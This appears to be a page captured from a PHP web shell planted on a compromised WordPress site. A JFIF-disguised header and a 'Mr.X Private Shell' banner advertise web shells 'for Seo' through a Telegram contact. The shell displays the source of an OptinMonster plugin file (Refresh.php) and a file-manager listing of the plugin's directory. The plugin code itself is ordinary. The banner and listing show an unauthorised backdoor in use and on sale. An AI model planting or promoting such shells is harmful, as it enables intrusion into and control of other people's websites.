����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Refresh class.
*
* @since 1.0.0
*
* @package OMAPI
* @author Thomas Griffin
*/
// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
exit;
}
/**
* Refresh class.
*
* @since 1.0.0
*/
class OMAPI_Refresh {
/**
* Holds the class object.
*
* @since 1.0.0
*
* @var object
*/
public static $instance;
/**
* Path to the file.
*
* @since 1.0.0
*
* @var string
*/
public $file = __FILE__;
/**
* Holds the base class object.
*
* @since 1.0.0
*
* @var object
*/
public $base;
/**
* Arguments for the API requests.
*
* @since 1.6.5
*
* @var array
*/
protected $api_args = array(
'limit' => 100,
'status' => 'all',
);
/**
* OMAPI_Api object
*
* @var null|OMAPI_Api
*/
public $api = null;
/**
* WP_Error object if refresh fails.
*
* @var null|WP_Error
*/
public $error = null;
/**
* Primary class constructor.
*
* @since 1.0.0
*/
public function __construct() {
// Set our object.
$this->set();
}
/**
* Sets our object instance and base class instance.
*
* @since 1.0.0
*/
public function set() {
self::$instance = $this;
$this->base = OMAPI::get_instance();
// If WPML is enabled, add the language domains to the parameter.
if ( OMAPI_Utils::is_wpml_active() ) {
$this->api_args['wpml_domains'] = json_encode( OMAPI_Utils::get_wpml_language_domains() );
}
}
/**
* Refresh the optins.
*
* @since 1.0.0
*
* @param string $api_key API key.
*
* @return WP_Error|bool True if successful.
*/
public function refresh( $api_key = null ) {
$this->api = OMAPI_Api::build( 'v1', 'optins', 'GET', $api_key ? array( 'apikey' => $api_key ) : $api_key );
$args = $this->setup_api( $api_key, $this->api_args );
$results = array();
$body = $this->api->request( $args );
// Loop through paginated requests until we have fetched all the campaigns.
while ( ! is_wp_error( $body ) || empty( $body ) ) {
$limit = absint( wp_remote_retrieve_header( $this->api->response, 'limit' ) );
$page = absint( wp_remote_retrieve_header( $this->api->response, 'page' ) );
$total = absint( wp_remote_retrieve_header( $this->api->response, 'total' ) );
$total_pages = ceil( $total / $limit );
$results = array_merge( $results, (array) $body );
// If we've reached the end, prevent any further requests.
if ( $page >= $total_pages || 0 === $limit ) {
break;
}
$args['page'] = $page + 1;
// Request the next page.
$body = $this->api->request( $args );
}
if ( is_wp_error( $body ) ) {
$this->handle_error( $body );
} else {
// Store the optin data.
$this->base->save->store_optins( $results );
// Update our sites as well.
$result = $this->base->sites->fetch( $api_key );
// Update the option to remove stale error messages.
$option = $this->base->get_option();
$option['is_invalid'] = false;
$option['is_expired'] = false;
$option['is_disabled'] = false;
$option['connected'] = time();
if ( is_wp_error( $result ) ) {
$this->error = $result;
} else {
$option = array_merge( $option, $result );
}
$this->base->save->update_option( $option );
}
return $this->error ? $this->error : true;
}
/**
* Trigger a refresh for given campaign.
*
* @since 1.9.10
*
* @param string $campaign_id The campaign id (slug).
*
* @return WP_Error|bool True if successful.
*/
public function sync( $campaign_id ) {
$time = time();
$path = "for-wp/{$campaign_id}?t={$time}";
$this->api = OMAPI_Api::build( 'v1', $path, 'GET' );
$body = $this->api->request( $this->setup_api() );
if ( is_wp_error( $body ) ) {
// If campaign is gone, delete the optin.
if (
'campaign-error' === $body->get_error_code()
&& (string) '404' === (string) $body->get_error_data()
) {
$result = $this->base->save->delete_optin( $campaign_id, true );
}
$this->handle_error( $body );
} else {
// Store the optin data.
$this->base->save->add_optins( (array) $body, false );
}
return $this->error ? $this->error : true;
}
/**
* Gets contextual info for API requests.
*
* @since 1.9.10
*
* @param array $args Array of args.
*
* @return arry Modified array of args.
*/
public function get_info_args( $args = array() ) {
// Set additional flags.
$args['wp'] = $GLOBALS['wp_version'];
$args['av'] = $this->base->asset_version();
$args['v'] = $this->base->version;
if ( OMAPI_WooCommerce::is_active() ) {
$args['wc'] = OMAPI_WooCommerce::version();
}
$args = array_merge( $args, OMAPI_Api::get_url_args() );
return $args;
}
/**
* Handles setting up the API request.
*
* @since 1.9.10
*
* @param string $api_key API key.
* @param array $args Array of request args.
*
* @return arry Modified array of request args.
*/
protected function setup_api( $api_key = null, $args = array() ) {
if ( $api_key ) {
$this->api->set( 'apikey', $api_key );
}
$this->api->clear_additional_data();
// Set additional flags.
return $this->get_info_args( $args );
}
/**
* Handles errors occurring during refresh.
*
* @since 1.9.10
*
* @param WP_Error $error WP_Error object.
*
* @return OMAPI_Refresh
*/
protected function handle_error( $error ) {
switch ( $error->get_error_code() ) {
// If no optins available, make sure they get deleted.
case 'optins':
case 'no-campaigns-error':
$this->base->save->store_optins( array() );
break;
case 'referrer-error':
$api = OMAPI_Api::instance();
$result = $this->base->sites->check_existing_site( $api->get_creds() );
if ( is_wp_error( $result ) ) {
$error = $result;
}
break;
}
// Set an error message.
$this->error = $error;
return $this;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| EasyDigitalDownloads | Folder | 0755 |
|
|
| Elementor | Folder | 0755 |
|
|
| Integrations | Folder | 0755 |
|
|
| MemberPress | Folder | 0755 |
|
|
| Plugins | Folder | 0755 |
|
|
| Promos | Folder | 0755 |
|
|
| Rules | Folder | 0755 |
|
|
| Shortcodes | Folder | 0755 |
|
|
| WPForms | Folder | 0755 |
|
|
| WooCommerce | Folder | 0755 |
|
|
| Actions.php | File | 6.96 KB | 0644 |
|
| Ajax.php | File | 1.46 KB | 0644 |
|
| Api.php | File | 14.17 KB | 0644 |
|
| ApiAuth.php | File | 2.41 KB | 0644 |
|
| ApiKey.php | File | 5.08 KB | 0644 |
|
| AssetLoader.php | File | 5.59 KB | 0644 |
|
| BaseRestApi.php | File | 6.65 KB | 0644 |
|
| Blocks.php | File | 12.81 KB | 0644 |
|
| ClassicEditor.php | File | 6.92 KB | 0644 |
|
| ConstantContact.php | File | 7.42 KB | 0644 |
|
| Debug.php | File | 4.35 KB | 0644 |
|
| EasyDigitalDownloads.php | File | 9.33 KB | 0644 |
|
| Elementor.php | File | 5.36 KB | 0644 |
|
| Inserter.php | File | 11.29 KB | 0644 |
|
| InstallSkin.php | File | 1.35 KB | 0644 |
|
| InstallSkinCompat.php | File | 1.36 KB | 0644 |
|
| MailPoet.php | File | 13.36 KB | 0644 |
|
| MemberPress.php | File | 4.12 KB | 0644 |
|
| Menu.php | File | 16.88 KB | 0644 |
|
| Notifications.php | File | 18.47 KB | 0644 |
|
| OmuApi.php | File | 4.03 KB | 0644 |
|
| Output.php | File | 24.28 KB | 0644 |
|
| Pages.php | File | 17.61 KB | 0644 |
|
| Partners.php | File | 5.43 KB | 0644 |
|
| Plugins.php | File | 24.34 KB | 0644 |
|
| Promos.php | File | 1.11 KB | 0644 |
|
| Refresh.php | File | 5.75 KB | 0644 |
|
| RestApi.php | File | 38.58 KB | 0644 |
|
| RevenueAttribution.php | File | 2.97 KB | 0644 |
|
| Review.php | File | 1.45 KB | 0644 |
|
| Rules.php | File | 23.44 KB | 0644 |
|
| Save.php | File | 10.8 KB | 0644 |
|
| Shortcode.php | File | 3.58 KB | 0644 |
|
| Sites.php | File | 8.35 KB | 0644 |
|
| Support.php | File | 8.25 KB | 0644 |
|
| Type.php | File | 2.44 KB | 0644 |
|
| Urls.php | File | 8.64 KB | 0644 |
|
| Utils.php | File | 7.41 KB | 0644 |
|
| Validate.php | File | 9.06 KB | 0644 |
|
| WPForms.php | File | 2.6 KB | 0644 |
|
| Welcome.php | File | 4.81 KB | 0644 |
|
| Widget.php | File | 6.5 KB | 0644 |
|
| WooCommerce.php | File | 19.58 KB | 0644 |
|
| WpErrorException.php | File | 714 B | 0644 |
|